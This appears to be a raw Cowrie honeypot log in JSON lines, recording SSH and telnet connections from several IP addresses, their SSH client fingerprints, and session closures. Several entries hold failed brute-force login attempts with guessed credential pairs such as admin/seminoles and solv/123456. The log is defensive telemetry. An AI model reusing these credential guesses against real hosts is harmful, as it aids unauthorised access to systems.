{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54296,"dst_ip":"10.17.0.5","dst_port":23,"session":"164774e505fa","protocol":"telnet","message":"New connection: 180.235.129.180:54296 (10.17.0.5:23) [session: 164774e505fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:41:50.634397Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":47288,"dst_ip":"159.203.135.109","dst_port":22,"session":"054e0ea64c16","protocol":"ssh","message":"New connection: 45.148.10.121:47288 (159.203.135.109:22) [session: 054e0ea64c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:42:31.808501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:42:31.813061Z","src_ip":"45.148.10.121","session":"054e0ea64c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:42:31.899233Z","src_ip":"45.148.10.121","session":"054e0ea64c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.55204629898071,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:42:44.186327Z","src_ip":"180.235.129.180","session":"164774e505fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01619267463684,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:42:59.540926Z","src_ip":"180.235.129.180","session":"75d918ec04c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41954,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fe2005d5da6","protocol":"ssh","message":"New connection: 193.32.162.145:41954 (159.203.135.109:22) [session: 5fe2005d5da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:43:11.635990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:43:11.640911Z","src_ip":"193.32.162.145","session":"5fe2005d5da6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:43:11.774253Z","src_ip":"193.32.162.145","session":"5fe2005d5da6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:43:12.087996Z","src_ip":"193.32.162.145","session":"5fe2005d5da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:43:13.187856Z","src_ip":"193.32.162.145","session":"5fe2005d5da6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":36578,"dst_ip":"10.17.0.5","dst_port":23,"session":"b98eeb563883","protocol":"telnet","message":"New connection: 180.235.129.180:36578 (10.17.0.5:23) [session: b98eeb563883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:43:56.806439Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":36576,"dst_ip":"10.17.0.5","dst_port":23,"session":"28a514afe095","protocol":"telnet","message":"New connection: 180.235.129.180:36576 (10.17.0.5:23) [session: 28a514afe095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:43:56.902367Z"}
{"eventid":"cowrie.session.closed","duration":8.771726369857788,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:44:05.578025Z","src_ip":"180.235.129.180","session":"b98eeb563883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.906380414962769,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:44:05.808620Z","src_ip":"180.235.129.180","session":"28a514afe095","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":42638,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fac32e1392e","protocol":"telnet","message":"New connection: 180.235.129.180:42638 (10.17.0.5:23) [session: 3fac32e1392e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:08.339945Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55956,"dst_ip":"159.203.135.109","dst_port":22,"session":"b888bd182155","protocol":"ssh","message":"New connection: 193.32.162.145:55956 (159.203.135.109:22) [session: b888bd182155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:12.104661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:12.109683Z","src_ip":"193.32.162.145","session":"b888bd182155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:12.208830Z","src_ip":"193.32.162.145","session":"b888bd182155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:12.504464Z","src_ip":"193.32.162.145","session":"b888bd182155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:13.604329Z","src_ip":"193.32.162.145","session":"b888bd182155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.766367673873901,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:16.106197Z","src_ip":"180.235.129.180","session":"3fac32e1392e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":45688,"dst_ip":"10.17.0.5","dst_port":23,"session":"f936353f5345","protocol":"telnet","message":"New connection: 180.235.129.180:45688 (10.17.0.5:23) [session: f936353f5345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:43.232347Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":45752,"dst_ip":"10.17.0.5","dst_port":23,"session":"0523e08aa03f","protocol":"telnet","message":"New connection: 180.235.129.180:45752 (10.17.0.5:23) [session: 0523e08aa03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:44.098705Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":45704,"dst_ip":"10.17.0.5","dst_port":23,"session":"669de6f4af18","protocol":"telnet","message":"New connection: 180.235.129.180:45704 (10.17.0.5:23) [session: 669de6f4af18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:46.529401Z"}
{"eventid":"cowrie.session.closed","duration":8.10308289527893,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:51.335287Z","src_ip":"180.235.129.180","session":"f936353f5345","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.950236797332764,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:45:52.479513Z","src_ip":"180.235.129.180","session":"669de6f4af18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":34130,"dst_ip":"10.17.0.5","dst_port":22,"session":"4caabfab164a","protocol":"ssh","message":"New connection: 2.57.121.112:34130 (10.17.0.5:22) [session: 4caabfab164a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:46:21.999715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:46:22.004450Z","src_ip":"2.57.121.112","session":"4caabfab164a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:46:22.113208Z","src_ip":"2.57.121.112","session":"4caabfab164a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"seminoles","message":"login attempt [admin/seminoles] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:46:22.603848Z","src_ip":"2.57.121.112","session":"4caabfab164a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"seed","message":"login attempt [admin/seed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:46:23.711591Z","src_ip":"2.57.121.112","session":"4caabfab164a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"section8","message":"login attempt [admin/section8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:46:24.820025Z","src_ip":"2.57.121.112","session":"4caabfab164a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"searock6","message":"login attempt [admin/searock6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:46:25.928715Z","src_ip":"2.57.121.112","session":"4caabfab164a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"scull","message":"login attempt [admin/scull] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:46:27.038053Z","src_ip":"2.57.121.112","session":"4caabfab164a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:46:28.145550Z","src_ip":"2.57.121.112","session":"4caabfab164a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":31640,"dst_ip":"159.203.135.109","dst_port":22,"session":"90a90b30ba2c","protocol":"ssh","message":"New connection: 141.11.21.145:31640 (159.203.135.109:22) [session: 90a90b30ba2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:15.700808Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:15.783857Z","src_ip":"141.11.21.145","session":"90a90b30ba2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":31646,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b8b73ca9348","protocol":"ssh","message":"New connection: 141.11.21.145:31646 (159.203.135.109:22) [session: 2b8b73ca9348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:15.855522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:15.872409Z","src_ip":"141.11.21.145","session":"2b8b73ca9348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:15.969272Z","src_ip":"141.11.21.145","session":"2b8b73ca9348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"czb","password":"czb123","message":"login attempt [czb/czb123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:16.209264Z","src_ip":"141.11.21.145","session":"2b8b73ca9348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:17.291942Z","src_ip":"141.11.21.145","session":"2b8b73ca9348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41728,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e550db93979","protocol":"ssh","message":"New connection: 193.32.162.145:41728 (159.203.135.109:22) [session: 7e550db93979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:23.246611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:23.251729Z","src_ip":"193.32.162.145","session":"7e550db93979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:23.360986Z","src_ip":"193.32.162.145","session":"7e550db93979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:23.685676Z","src_ip":"193.32.162.145","session":"7e550db93979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:24.795272Z","src_ip":"193.32.162.145","session":"7e550db93979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00205540657043,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:44.100638Z","src_ip":"180.235.129.180","session":"0523e08aa03f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.57.43","src_port":19182,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f60e73b069b","protocol":"ssh","message":"New connection: 68.235.57.43:19182 (10.17.0.5:22) [session: 6f60e73b069b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.085193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.089913Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:47:45.125411Z","src_ip":"68.235.57.43","session":"6f60e73b069b","protocol":"ssh"}
